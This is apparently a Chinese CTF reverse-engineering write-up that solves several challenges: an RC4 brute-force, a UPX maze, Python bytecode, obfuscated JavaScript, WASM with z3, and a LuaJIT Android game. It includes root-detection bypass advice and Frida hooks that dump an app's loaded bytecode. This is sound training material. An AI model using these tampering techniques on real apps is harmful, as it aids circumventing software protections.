0xED, 0xEE, 0xEF, 0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF]
v7 = 0
v6 = 0
sha = change(h)
for i in range(256):
v9 = v7 + 1
v10 = a[v7 + 2]
v11 = v10 + v6
if(0x20 | v7) >> 32:
v8 = v7 % 0x20
else:
v8 = v7 % 0x20
v6 = (sha[v8] + v11) & 0xff
a[v7 + 2] = a[v6 + 2]
a[v6 + 2] = v10
v7 += 1
return a

def encode1(xbox):
v5 = 0
v6 = 1
flag = ""
cmp = [0xa2,0x05,0x05,0xdb,0x23,0x11,0x0e,0x39,0x46,0x06,0x0c,0xd1,0x91,0xc6,0x44,0xe2,0x1a,0x9c,0x61,0xf1,0xd3,0xeb,0x75,0x3a,0x81,0x5d,0xa2,0x12,0xb4,0x58,0x2a,0xdb,0x94,0x14]
xx = [0] * len(cmp)
result = 0
v7 = 0
for i in range(len(cmp)):
xbox[0] = v6 + i
v8 = (v6 +i) & 0xff
v9 = xbox[v8 + 2]
v5 += v9
v5 = v5 & 0xff
xbox[v8 + 2] = xbox[(v5 + 2) & 0xff]
xbox[(v5 + 2) & 0xff] = v9
flag += chr(xbox[(xbox[v8 + 2] + v9 + 2) & 0xff] ^ cmp[i])
if "flag" in flag:
print(flag)

dic="0123456789abcdef"
for i in dic:
for j in dic:
for k in dic:
for m in dic:
key = i + j + k + m
h=hashlib.sha256(key.encode('ascii')).hexdigest()
box = sbox_init(h)
encode1(box)
#flag{3df837d045ea07d9230cd23047a}

后面看到是个rc4,没看出来说是,白逆半天了。

陕西省赛逆向ak

战队名称:第1名

easyupx

先修一下

![Untitled](./上海省赛-陕西省赛初赛/Untitled 1.png)

发现还是脱不了壳,直接esp定律手脱

![Untitled](./上海省赛-陕西省赛初赛/Untitled 2.png)

找到进入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int sub_40143C()
{
char v1[100]; // [esp+1Ch] [ebp-74h] BYREF
int v2; // [esp+80h] [ebp-10h]
int v3; // [esp+84h] [ebp-Ch]
int v4; // [esp+88h] [ebp-8h]
int i; // [esp+8Ch] [ebp-4h]

sub_401B10();
sub_403F74(aPleaseInputYou);
sub_403F64(&unk_40605D, v1);
v2 = sub_403F44(v1);
v4 = 1;
v3 = 1;
for ( i = 0; i < v2; ++i )
{
switch ( v1[i] )
{
case 'U':
--v4;
break;
case 'D':
++v4;
break;
case 'L':
--v3;
break;
case 'R':
++v3;
break;
}
if ( sub_401410(v4, v3) )
break;
if ( aS0000000000000[15 * v4 + v3] == 35 )
{
sub_403F74(aYouAreRightFla);
return 0;
}
}
sub_403F6C(aWrong);
return 0;
}

经典迷宫

1
2
3
4
5
6
7
8
9
maze = "****************D000*0000000***0**000*****0***0*00*0*000*0***000**0*0*0*0***0***00*0*0*00**0***0**0*0**0**000*0*00*00*0****0*0******0#****0*00000000***000********0***0***00000*00***0*0*****0**0***0000000*00000****************"
print(len(maze))
for i in range(15):
for j in range(15):
print(maze[i*15+j],enR="")
print('\n')

U-w D-s L-a R-d
RRRDRRURRRRRRDDDDRDDD

外面加上flag{md5}就行

babypython

python字节码,

第一段加密,是对flag每一位异或8

1
2
968 LOAD_CONST             150 (8)
970 BINARY_OP 12 (^)

然后转16进制存入数组

1
2
3
4
5
6
7
8
9
159         990 LOAD_NAME               33 (value)
992 LOAD_NAME 35 (temp)
994 BINARY_OP 13 (+=)
998 STORE_NAME 33 (value)

160 1000 LOAD_NAME 30 (i)
1002 LOAD_CONST 149 (1)
1004 BINARY_OP 13 (+=)
1008 STORE_NAME 30 (i)

下一个加密是+3

1
2
1224 LOAD_CONST             152 (3)
1226 BINARY_OP 0 (+)

然后后面有个base64,猜测base64加密然后反转。其实有一个替换

1
2
3
4
5
6
7
8
9
10
11
12
13
1886 LOAD_CONST             166 ('g')
1888 LOAD_CONST 167 ('1')
1890 PRECALL 2
1894 CALL 2
1904 LOAD_METHOD 50 (replace)
1926 LOAD_CONST 168 ('H')
1928 LOAD_CONST 169 ('3')
1930 PRECALL 2
1934 CALL 2
1944 LOAD_METHOD 50 (replace)
1966 LOAD_CONST 170 ('W')
1968 LOAD_CONST 171 ('9')
1970 PRECALL 2

所以解密先反转base64把3→H,9→W,1→g

![Untitled](./上海省赛-陕西省赛初赛/Untitled 3.png)

拿到的结果先减再异或

1
2
3
4
5
6
7
data = "qglrv@onmlqpA>qmq>mBo3A?Bn<lppA@;lp4nx"
p = data[::-1]
flag = ""
for i in range(len(data)):
flag += chr((ord(p[i]) -3 ) ^ 8)
print(flag[::-1])
#flag{5dcbafe63fbf3b7d8647c1aee650ae9c}

Badcoffee

js代码,直接看逻辑就行有混淆,用https://deobfuscate.io/

逻辑很清晰,flag用数组异或,然后倒过来异或,接下来,再异或,然后对比

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
function _0x3e7b() {
var _0x293934 = ["8QWULJr", "414933buASiW", "log", "uuIPk", "2hWBkZw", "50830UgfzNJ", "search", "toString", "nPakj", "118810yaFCRd", "apply", "YES", "3279144wTrqht", "FRwAT", "204nSqkLC", "kGYrv", "XmyuE", "2810463LgnfkD", "qGnaj", "1665531censkz", "flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}", "1166JQjGyF", "(((.+)+)+)+$", "TKKGW", "charAt", "constructor", "5882863UAzTOx"];
_0x3e7b = function () {
return _0x293934;
};
return _0x3e7b();
}
function _0x229b(_0x21da69, _0x31c369) {
var _0x1d6e59 = _0x3e7b();
return _0x229b = function (_0x52956b, _0x1581c3) {
_0x52956b = _0x52956b - 307;
var _0x62d41 = _0x1d6e59[_0x52956b];
return _0x62d41;
}, _0x229b(_0x21da69, _0x31c369);
}
(function (_0x5484af, _0x1c1acb) {
var _0x42b6ee = _0x229b, _0x24c9f0 = _0x5484af();
while (true) {
try {
var _0x2b3ed9 = parseInt(_0x42b6ee(307)) / 1 * (parseInt(_0x42b6ee(310)) / 2) + parseInt(_0x42b6ee(323)) / 3 + parseInt(_0x42b6ee(318)) / 4 + -parseInt(_0x42b6ee(311)) / 5 * (-parseInt(_0x42b6ee(320)) / 6) + parseInt(_0x42b6ee(332)) / 7 * (-parseInt(_0x42b6ee(333)) / 8) + parseInt(_0x42b6ee(325)) / 9 + parseInt(_0x42b6ee(315)) / 10 * (-parseInt(_0x42b6ee(327)) / 11);
if (_0x2b3ed9 === _0x1c1acb) break; else _0x24c9f0.push(_0x24c9f0.shift());
} catch (_0x52aa75) {
_0x24c9f0.push(_0x24c9f0.shift());
}
}
}(_0x3e7b, 602448));
function xxx(_0x53b7bb, _0x590286) {
var _0xafde9a = _0x229b, _0x324e3a = {};
_0x324e3a[_0xafde9a(314)] = function (_0x318579, _0x2c8042) {
return _0x318579 ^ _0x2c8042;
};
var _0x3ba534 = _0x324e3a;
return _0x3ba534.nPakj(_0x53b7bb, _0x590286);
}
function enc(_0x4bda4c) {
var _0x137834 = _0x229b, _0x3aaed1 = {XmyuE: function (_0x57b977, _0x20fa18, _0x570bf6) {
return _0x57b977(_0x20fa18, _0x570bf6);
}}, _0x8ff1dd = [], _0x6aca75 = [233, 129, 127, 238, 145, 144, 11, 43, 87, 134, 243, 158, 197, 216, 111, 136, 152, 29, 204, 31, 26, 228, 39, 148, 215, 220, 90, 76, 251, 57, 183, 184, 150, 157, 156, 176, 13, 41, 30, 86, 244, 8];
console.log(_0x6aca75);
for (let _0x7bc200 = 0; _0x7bc200 < 42; _0x7bc200++) {
_0x8ff1dd[_0x7bc200] = _0x3aaed1[_0x137834(322)](xxx, _0x6aca75.at(_0x7bc200), _0x4bda4c[_0x137834(330)](_0x7bc200).charCodeAt());
}
for (let _0x4f674a = 0; _0x4f674a < 42; _0x4f674a++) {
_0x8ff1dd[_0x4f674a] = xxx(_0x8ff1dd.at(_0x4f674a), _0x6aca75.at(41 - _0x4f674a));
}
console.log(_0x8ff1dd);
return _0x8ff1dd;
}
function fff() {
var _0x47409d = _0x229b, _0x45e04c = {uuIPk: _0x47409d(328), qGnaj: function (_0x5bc07b, _0x400faa, _0x441f85) {
return _0x5bc07b(_0x400faa, _0x441f85);
}, BnVXl: function (_0x189883) {
return _0x189883();
}, dhkyF: _0x47409d(326), FRwAT: function (_0x3ab36f, _0x124b7f) {
return _0x3ab36f(_0x124b7f);
}, kGYrv: function (_0x127f5c, _0x4a909c) {
return _0x127f5c < _0x4a909c;
}, MrEod: function (_0x3d6620, _0x297ded) {
return _0x3d6620 != _0x297ded;
}, arYUV: "Error", TKKGW: _0x47409d(317)}, _0x5a5ca7 = function () {
var _0x201045 = true;
return function (_0x69fca7, _0x2b8ad0) {
var _0x5c3c95 = _0x201045 ? function () {
var _0x579f2d = _0x229b;
if (_0x2b8ad0) {
var _0xd4d9a8 = _0x2b8ad0[_0x579f2d(316)](_0x69fca7, arguments);
return _0x2b8ad0 = null, _0xd4d9a8;
}
} : function () {};
return _0x201045 = false, _0x5c3c95;
};
}(), _0x59c26e = _0x45e04c[_0x47409d(324)](_0x5a5ca7, this, function () {
var _0x25f3ae = _0x47409d;
return _0x59c26e.toString()[_0x25f3ae(312)](_0x45e04c.uuIPk)[_0x25f3ae(313)]()[_0x25f3ae(331)](_0x59c26e)[_0x25f3ae(312)](_0x45e04c[_0x25f3ae(309)]);
});
_0x45e04c.BnVXl(_0x59c26e);
var _0xe4960c = _0x45e04c.dhkyF, _0x55dae6 = _0x45e04c[_0x47409d(319)](enc, _0xe4960c), _0xbb5ecd = [135, 25, 72, 151, 195, 212, 228, 212, 250, 101, 39, 77, 163, 77, 70, 167, 119, 184, 7, 77, 144, 154, 93, 10, 185, 48, 179, 77, 71, 163, 67, 61, 113, 156, 196, 136, 239, 241, 128, 93, 84, 156];
console.log(_0xbb5ecd);
for (let _0x37df9d = 0; _0x45e04c[_0x47409d(321)](_0x37df9d, 42); _0x37df9d++) {
if (_0x45e04c.MrEod(_0x55dae6.at(_0x37df9d), _0xbb5ecd.at(_0x37df9d))) {
console[_0x47409d(308)](_0x45e04c.arYUV);
return;
}
}
console[_0x47409d(308)](_0x45e04c[_0x47409d(329)]);
return;
}
fff();

下面是脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
a= [
233, 129, 127, 238, 145, 144, 11, 43, 87,
134, 243, 158, 197, 216, 111, 136, 152, 29,
204, 31, 26, 228, 39, 148, 215, 220, 90,
76, 251, 57, 183, 184, 150, 157, 156, 176,
13, 41, 30, 86, 244, 8
]
flag = ""
b = [
135, 25, 72, 151, 195, 212, 228, 212, 250,
101, 39, 77, 163, 77, 70, 167, 119, 184,
7, 77, 144, 154, 93, 10, 185, 48, 179,
77, 71, 163, 67, 61, 113, 156, 196, 136,
239, 241, 128, 93, 84, 156
]
for i in range(42):
flag += chr(b[i] ^ a[41-i] ^ a[i])
print(flag)
#flag{I_c0uld_neu3r_undeRstand_jvaVs3rIpt!}

Web&Assembly

wasm不好看,但是鸡爪的插件可以很好的看wasm

check是重点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
uint check(char *some,char *input,int hash)

{
bool bVar1;
uint uVar2;
size_t sVar3;
int l;
int k;
int j;
undefined8 array;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
uint i;
uint flag;
undefined8 local_30;
undefined8 local_28;
char local_20;
int local_10;
char *input_str;
char *local_8;
uint local_4;

local_20 = s_0123456789abcdef_ram_00010000[16];
local_28 = s_0123456789abcdef_ram_00010000._8_8_;
local_30 = s_0123456789abcdef_ram_00010000._0_8_;
local_10 = hash;
input_str = input;
local_8 = some;
/* 114!514! */
sVar3 = strlen(some);
if (sVar3 < 8) {
local_4 = 0;
}
else {
flag = 0;
for (i = 0; uVar2 = i, sVar3 = strlen(input_str), uVar2 < sVar3; i = i + 8) {
local_48 = 0;
local_50 = 0;
local_58 = 0;
array = 0;
for (j = 0; j < 8; j = j + 1) {
*(uint *)((int)&array + j * 4) = (int)(char)(local_8[j] ^ input_str[j + i]) & 0xff;
}
for (k = 0; k < 114; k = k + 1) {
do_something((int *)&array,0,1,2,3);
do_something((int *)&array,4,5,6,7);
do_something((int *)&array,0,1,4,5);
do_something((int *)&array,2,3,6,7);
}
for (l = 0; l < 8; l = l + 1) {
bVar1 = true;
if (flag == 0) {
bVar1 = *(char *)((int)&local_30 + *(int *)((int)&array + l * 4) / 0x10) ==
*(char *)(local_10 + (l + i) * 2);
}
flag = 1;
if (!bVar1) {
flag = (uint)(*(char *)((int)&local_30 + *(int *)((int)&array + l * 4) % 0x10) ==
*(char *)(local_10 + (l + i) * 2 + 1));
}
}
}
local_4 = flag;
}
return local_4;
}

大致逻辑就是先让flag和key异或,然后进入do_somthing进行114次操作,接下来是把值转成16进制来对比,z3可以解,不过时间很长,需要等待,差点就ctrl+z了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from z3 import*
s=Solver()
flag = [BitVec("flag%d" % i,16) for i in range(0x20)]

def do_something(arr,in1,in2,in3,in4):
arr[in4] = (arr[in4] ^ arr[in1] + arr[in3]) & 0xFF
arr[in3] = (arr[in3] ^ arr[in1] + arr[in2]) & 0xFF
arr[in2] = (arr[in2] ^ arr[in3] + arr[in4]) & 0xFF
arr[in1] = (arr[in1] ^ arr[in2] + arr[in4]) & 0xFF

str_1 = "0123456789abcdef"
tmp = [0] * 32
hash = "91fba5ccfef6e0905eeeb47940d25543c286b10de778fbb268ab7580414c0758"
hash1 = [0x91,0xfb,0xa5,0xcc,0xfe,0xf6,0xe0,0x90,0x5e,0xee,0xb4,0x79,0x40,0xd2,0x55,0x43,0xc2,0x86,0xb1,0x0d,0xe7,0x78,0xfb,0xb2,0x68,0xab,0x75,0x80,0x41,0x4c,0x07,0x58]
key = "114!514!"
for i in range(0,len(flag),8):
arr = [0] * 8
for j in range(8):
arr[j] = ord(key[j]) ^ flag[i + j]
for j in range(114):
do_something(arr,0,1,2,3)
do_something(arr,4,5,6,7)
do_something(arr,0,1,4,5)
do_something(arr,2,3,6,7)
for ii in range(8):
tmp[ii + i] = arr[ii]

for i in range(32):
s.add(tmp[i]&0xff == hash1[i])
if s.check() == sat:
m = s.model()
res = []
for i in range(32):
res.append(chr(m[flag[i]].as_long()))
s=''.join(res)
print(s)
else:
print("nope")
#print(v5)
#flag{Y0u_Kn0w_W45M_n0w!!W0oO0ow}

这个太难爆了,爆了几分钟,幸好中间去找哥们唠嗑了。

SuperFlagio

在做xctf决赛的题时,明显感觉跟平常的题不是一个等级,当时选了lambda来做,发现并不是很好做,那个题真就做了一天,赛后复现一下SuperFlagio这个题。

所需知识

Lua

lua是小巧脚本语言。其设计目的是为了通过灵活嵌入应用程序中从而为应用程序提供灵活的扩展和定制功能。

lua,luac,luajit三种文件区别:

lua是明文代码,可看见代码

luac是lua编译后的字节码,头文件为0x1B 0X4C 0X75 0X61 版本号构成

lua虚拟机能够直接解析lua和luac脚本文件,而luajit是另一个文件lua的实现版本,luajit比lua和luac更高效,文件头是0X18 0X4C 0X4A

lua符号恢复

首先搜索到lua版本,然后编译对应版本

1
2
3
4
5
6
7
8
9
curl -R -O http://www.lua.org/ftp/lua-5.3.4.tar.gz

tar zxf lua-5.3.4.tar.gz

cd lua-5.3.4

sudo make linux test

sudo make install

编译完成在bin文件中找到lua文件,然后ida载入lua,关闭并保存得到i64,然后打开要恢复的lua文件,ctrl+6打开bindiff,选择diff database,将confidence和similarity全部改成0.5,点ok,然后再点ctrl+6,恢复成功。

luac反编译

unluac

unluac1.2.2.155是比较稳定的一个版本,命令:

1
java -jar unluac.jar main.luac

luadec

安装luadec方法:

1
2
3
4
5
6
7
git clone https://github.com/viruscamp/luadec
cd luadec
git submodule update --init lua-5.1
cd lua-5.1
make linux
cd ../luadec
make LUAVER=5.1

版本切换:

1
2
3
4
5
6
git submodule update --init lua-5.3
cd lua-5.3
make linux
cd ../luadec
make clean
make LUAVER=5.3

luajit反编译

luajit-decomp

推荐使用ljd,还有一种是luajit-decomp不推荐使用(比较难看)

首先确定luajit版本,通过字符串搜索可知。

下载luajit对应版本并编译,直接在文件夹根目录下:

1
mingw32-make

然后复制编译后的LuaJIT-2.1.0-beta2\src路径下的lua51.dll、luajit.exe文件和jit文件夹覆盖到luajit-decomp目录中。将原脚本默认是只反编译当前目录下名为test.lua的文件,所以我们要重命名我们要反编译的文件为test.lua,接着运行decoder_new.exe,最终生成test.asm out.lua out2.lua,out2.lua就是我们要的文件

ljd

在根目录下使用

1
python main.py -f <script_name>.luac64 > <script_name>.lua

即可编译。

luajit如何编译成arm文件?

1
2
3
4
git clone https://github.com/LuaJIT/LuaJIT.git
cd LuaJIT
git checkout v2.1.0-beta3
make -j `nproc`

即可

目前遇到了三种类型的lua题目,第一种是lua加载时魔改了lua chunk,第二种是lua加载魔改opcode,第三种是luajit加载魔改opcode,显然还有一种是luajit加载魔改lua chunk的情况没有出现。

首先给了一个apk文件,用jadx打开发现OnCreate中有很多检测,比如:

image-20230404170743487

下面是java层,Cocos2dxUtil.lowEngineVersion 对是否root进行检测:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
package org.cocos2dx.lib;

import android.os.Build;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.util.ArrayList;

public class Cocos2dxUtil {
private static String TAG = "org.cocos2dx.lib.Cocos2dxUtil";

public static boolean a() {
String str = Build.TAGS;
return str != null && str.contains("test-keys");
}

public static boolean b() {
try {
return new File("/system/app/SuperSU/SuperSU.apk").exists();
} catch (Exception unused) {
return false;
}
}

public static boolean c() {
String[] strArr = {"/system/bin/", "/system/xbin/", "/system/sbin/", "/sbin/", "/vendor/bin/"};
for (int i = 0; i < strArr.length; i++) {
try {
File file = new File(strArr[i] + "su");
if (file != null && file.exists()) {
return true;
}
} catch (Exception unused) {
}
}
return false;
}

public static boolean d() {
return j(new String[]{"/system/xbin/which", "su"}) != null;
}

/* JADX WARNING: Code restructure failed: missing block: B:15:0x001e, code lost:
return false;
*/
/* JADX WARNING: Exception block dominator not found, dom blocks: [] */
/* Code decompiled incorrectly, please refer to instructions dump. */
public static synchronized boolean e() {
/*
java.lang.Class<org.cocos2dx.lib.Cocos2dxUtil> r0 = org.cocos2dx.lib.Cocos2dxUtil.class
monitor-enter(r0)
r1 = 2
r2 = 0
java.lang.String[] r1 = new java.lang.String[r1] // Catch:{ Exception -> 0x001d, all -> 0x001a }
java.lang.String r3 = "busybox"
r1[r2] = r3 // Catch:{ Exception -> 0x001d, all -> 0x001a }
java.lang.String r3 = "df"
r4 = 1
r1[r4] = r3 // Catch:{ Exception -> 0x001d, all -> 0x001a }
java.util.ArrayList r1 = j(r1) // Catch:{ Exception -> 0x001d, all -> 0x001a }
if (r1 == 0) goto L_0x0018
monitor-exit(r0)
return r4
L_0x0018:
monitor-exit(r0)
return r2
L_0x001a:
r1 = move-exception
monitor-exit(r0)
throw r1
L_0x001d:
monitor-exit(r0)
return r2
*/
throw new UnsupportedOperationException("Method not decompiled: org.cocos2dx.lib.Cocos2dxUtil.e():boolean");
}

/* JADX WARNING: Code restructure failed: missing block: B:16:0x0020, code lost:
return false;
*/
/* JADX WARNING: Exception block dominator not found, dom blocks: [] */
/* Code decompiled incorrectly, please refer to instructions dump. */
public static synchronized boolean f() {
/*
java.lang.Class<org.cocos2dx.lib.Cocos2dxUtil> r0 = org.cocos2dx.lib.Cocos2dxUtil.class
monitor-enter(r0)
r1 = 0
java.lang.String r2 = "test_ok"
java.lang.String r3 = "/data/su_test"
h(r3, r2) // Catch:{ Exception -> 0x001f, all -> 0x001c }
java.lang.String r3 = "/data/su_test"
java.lang.String r3 = i(r3) // Catch:{ Exception -> 0x001f, all -> 0x001c }
boolean r2 = r2.equals(r3) // Catch:{ Exception -> 0x001f, all -> 0x001c }
if (r2 == 0) goto L_0x001a
r1 = 1
monitor-exit(r0)
return r1
L_0x001a:
monitor-exit(r0)
return r1
L_0x001c:
r1 = move-exception
monitor-exit(r0)
throw r1
L_0x001f:
monitor-exit(r0)
return r1
*/
throw new UnsupportedOperationException("Method not decompiled: org.cocos2dx.lib.Cocos2dxUtil.f():boolean");
}

/* JADX DEBUG: Failed to insert an additional move for type inference into block B:51:? */
/* JADX DEBUG: Failed to insert an additional move for type inference into block B:43:0x0050 */
/* JADX DEBUG: Multi-variable search result rejected for r1v0, resolved type: boolean */
/* JADX DEBUG: Multi-variable search result rejected for r1v1, resolved type: boolean */
/* JADX DEBUG: Multi-variable search result rejected for r1v2, resolved type: boolean */
/* JADX WARN: Multi-variable type inference failed */
/* JADX WARN: Type inference failed for: r1v3, types: [java.lang.Throwable] */
/* JADX WARN: Type inference failed for: r1v8 */
/* JADX WARN: Type inference failed for: r1v9 */
/* JADX WARN: Type inference failed for: r1v10 */
/* JADX WARN: Type inference failed for: r1v11 */
/* JADX WARNING: Can't wrap try/catch for region: R(5:30|(0)|36|37|38) */
/* JADX WARNING: Code restructure failed: missing block: B:45:0x0054, code lost:
r1 = move-exception;
*/
/* JADX WARNING: Code restructure failed: missing block: B:49:0x005b, code lost:
throw r1;
*/
/* JADX WARNING: Failed to process nested try/catch */
/* JADX WARNING: Missing exception handler attribute for start block: B:37:0x004c */
/* JADX WARNING: Removed duplicated region for block: B:34:0x0046 A[SYNTHETIC, Splitter:B:34:0x0046] */
/* JADX WARNING: Removed duplicated region for block: B:43:0x0050 A[SYNTHETIC, Splitter:B:43:0x0050] */
/* Code decompiled incorrectly, please refer to instructions dump. */
public static synchronized boolean g() {
/*
java.lang.Class<org.cocos2dx.lib.Cocos2dxUtil> r0 = org.cocos2dx.lib.Cocos2dxUtil.class
monitor-enter(r0)
r1 = 0
r2 = 0
java.lang.Runtime r3 = java.lang.Runtime.getRuntime() // Catch:{ Exception -> 0x004d, all -> 0x0042 }
java.lang.String r4 = "su"
java.lang.Process r3 = r3.exec(r4) // Catch:{ Exception -> 0x004d, all -> 0x0042 }
java.io.DataOutputStream r4 = new java.io.DataOutputStream // Catch:{ Exception -> 0x004e, all -> 0x0040 }
java.io.OutputStream r5 = r3.getOutputStream() // Catch:{ Exception -> 0x004e, all -> 0x0040 }
r4.<init>(r5) // Catch:{ Exception -> 0x004e, all -> 0x0040 }
java.lang.String r2 = "exit\n"
r4.writeBytes(r2) // Catch:{ Exception -> 0x003e, all -> 0x003b }
r4.flush() // Catch:{ Exception -> 0x003e, all -> 0x003b }
int r2 = r3.waitFor() // Catch:{ Exception -> 0x003e, all -> 0x003b }
if (r2 != 0) goto L_0x0031
r1 = 1
if (r4 == 0) goto L_0x002c
r4.close() // Catch:{ Exception -> 0x002f }
L_0x002c:
r3.destroy() // Catch:{ Exception -> 0x002f }
L_0x002f:
monitor-exit(r0)
return r1
L_0x0031:
if (r4 == 0) goto L_0x0036
r4.close() // Catch:{ Exception -> 0x0039 }
L_0x0036:
r3.destroy() // Catch:{ Exception -> 0x0039 }
L_0x0039:
monitor-exit(r0)
return r1
L_0x003b:
r1 = move-exception
r2 = r4
goto L_0x0044
L_0x003e:
r2 = r4
goto L_0x004e
L_0x0040:
r1 = move-exception
goto L_0x0044
L_0x0042:
r1 = move-exception
r3 = r2
L_0x0044:
if (r2 == 0) goto L_0x0049
r2.close() // Catch:{ Exception -> 0x004c }
L_0x0049:
r3.destroy() // Catch:{ Exception -> 0x004c }
L_0x004c:
throw r1 // Catch:{ all -> 0x0054 }
L_0x004d:
r3 = r2
L_0x004e:
if (r2 == 0) goto L_0x0056
r2.close() // Catch:{ Exception -> 0x005c }
goto L_0x0056
L_0x0054:
r1 = move-exception
goto L_0x005a
L_0x0056:
r3.destroy() // Catch:{ Exception -> 0x005c }
goto L_0x005c
L_0x005a:
monitor-exit(r0)
throw r1
L_0x005c:
monitor-exit(r0)
return r1
*/
throw new UnsupportedOperationException("Method not decompiled: org.cocos2dx.lib.Cocos2dxUtil.g():boolean");
}

public static Boolean h(String str, String str2) {
try {
FileOutputStream fileOutputStream = new FileOutputStream(str);
fileOutputStream.write(str2.getBytes());
fileOutputStream.close();
return true;
} catch (Exception unused) {
return false;
}
}

public static String i(String str) {
try {
FileInputStream fileInputStream = new FileInputStream(new File(str));
byte[] bArr = new byte[1024];
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while (true) {
int read = fileInputStream.read(bArr);
if (read <= 0) {
return new String(byteArrayOutputStream.toByteArray());
}
byteArrayOutputStream.write(bArr, 0, read);
}
} catch (Exception unused) {
return null;
}
}

public static ArrayList<String> j(String[] strArr) {
ArrayList<String> arrayList = new ArrayList<>();
try {
Process exec = Runtime.getRuntime().exec(strArr);
new BufferedWriter(new OutputStreamWriter(exec.getOutputStream()));
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()));
while (true) {
try {
String readLine = bufferedReader.readLine();
if (readLine == null) {
break;
}
arrayList.add(readLine);
} catch (Exception unused) {
}
}
return arrayList;
} catch (Exception unused2) {
return null;
}
}

public static boolean lowEngineVersion() {
return a() || b() || c() || d() || e() || f() || g();
}
}

如何绕过root检测,如果不绕过是没法用root手机打开的,只需要面具里装shamiko插件就行:https://zhuanlan.zhihu.com/p/541299125

在native层中存在pthread_create检查是否有idaserver和frida server。

这个题显然是用cocos2d-x引擎和lua开发的,这个游戏是将flag输对才能通关。传统的cocos2d-x luac加密是xxtea,密钥很好找,而这个题修改了源码,加密不一样了。一般cocos-x游戏脚本被存放在asserts/src目录下,但是该目录下文件名称全部被加密了。

如何将luajit编译成arm架构的libluajit.so呢?

1
2
3
4
git clone https://github.com/LuaJIT/LuaJIT.git
cd LuaJIT
git checkout v2.1.0-beta3
make -j `nproc`

然后生成的lib.so文件在src目录中,用bindiff还原函数名称,发现lua加载函数luaL_loadbuffer 的地址为 0xAC4E9C,该函数的原型为 LUALIB_API int luaL_loadbuffer(lua_State *L, const char *buf, size_t size, const char *name),第二个参数指向当前加载字节码文件的二进制内容,第三个参数指明 buf 的大小,第四个参数为模块路径名。

采用hook该函数,打印第四个参数,可以获得加载的lua模块路径名

1
2
3
4
5
6
7
8
9
var lib_base = Module.findBaseAddress("libgame.so");

Interceptor.attach(lib_base.add(0xAC4E9C), {
onEnter: function(args) {
var chunk_name = args[3].readCString();
console.log("Load: " + chunk_name);
},
onLeave: function(retval) {}
})
1
2
3
4
Load: scene/GameScene.pyc
Load: core/GameMap.pyc
Load: entity/Enemy.pyc
Load: entity/Mario.pyc

中间遇到了很多问题,还没解决。

把加载的文件dump出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var base_dir = "/data/data/cn.org.xctf.flagio/";
var lib_base = Module.findBaseAddress("libgame.so");

Interceptor.attach(lib_base.add(0xAC4E9C), {
onEnter: function(args) {
var chunk = args[1];
var chunk_size = args[2].toInt32();
var chunk_name = args[3].readCString();

var new_name = chunk_name.slice(chunk_name.lastIndexOf('/') + 1, -3) + "luac64";
var file = new File(base_dir + new_name, "wb");
file.write(chunk.readByteArray(chunk_size));
file.close();
},
onLeave: function(retval) {}
})

然后发现这五个lua文件全部是64位luadjit文件,前面已经了解了如何反编译,但是这个题不能直接反编译,因为luajit加载函数改变了,该题是将Luajit中的opcode顺序进行了修改,如何在native层中识别并且还原出引擎的opcode顺序就成为了主要目标。

在lj_obj.h中,可以找到lua_State结构体定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* Per-thread state object. */
struct lua_State {
GCHeader;
uint8_t dummy_ffid; /* Fake FF_C for curr_funcisL() on dummy frames. */
uint8_t status; /* Thread status. */
MRef glref; /* Link to global state. */
GCRef gclist; /* GC chain. */
TValue *base; /* Base of currently executing function. */
TValue *top; /* First free slot in the stack. */
MRef maxstack; /* Last free slot in the stack. */
MRef stack; /* Stack base. */
GCRef openupval; /* List of open upvalues in the stack. */
GCRef env; /* Thread environment (table of globals). */
void *cframe; /* End of C stack frame chain. */
